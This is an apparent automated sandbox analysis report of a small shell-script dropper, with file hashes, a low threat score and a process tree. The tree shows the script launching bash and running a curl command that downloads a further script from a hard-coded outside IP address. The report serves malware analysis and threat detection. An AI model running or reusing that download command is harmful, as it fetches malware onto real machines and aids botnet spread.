3fb5a154738d1296ba1e6d2da1de7c409481bcf3517719bddefcacc8df3b26d4

Analysis

max time kernel
1s
max time network
4s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
16/09/2026, 15:11

Target
cirqueira.sh_armv4l.sh
Size 205B
Sample260916-skranacp3s
SHA256 3fb5a154738d1296ba1e6d2da1de7c409481bcf3517719bddefcacc8df3b26d4
MD5 bf42dc0011c9468979c73d3ace9a402a
SHA1 3fc00b0a5cfcba2f0b4cdb752f09071593bd1e9b
SHA512 d084c5f293624ff654ec30064ee0d523a231b11c0ff34b270630b681250033a392d5c3e2191d317842dfb05b8b5301c4567df47b4c759fff9cf365e8d0a3265a
TLSH
T159D023CC39D5AF315D151F1CB45060B0C11D48D1FCEB40F8C1030801E451B447E19941
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

/tmp/cirqueira.sh_armv4l.sh
/tmp/cirqueira.sh_armv4l.sh
1⤵
PID:715
- /bin/bash
  bash
  2⤵
  PID:718
- /usr/bin/curl
  curl -s http://94.154.43.227:8080/bins/cirqueira.sh
  2⤵
  - Reads runtime system information
  PID:717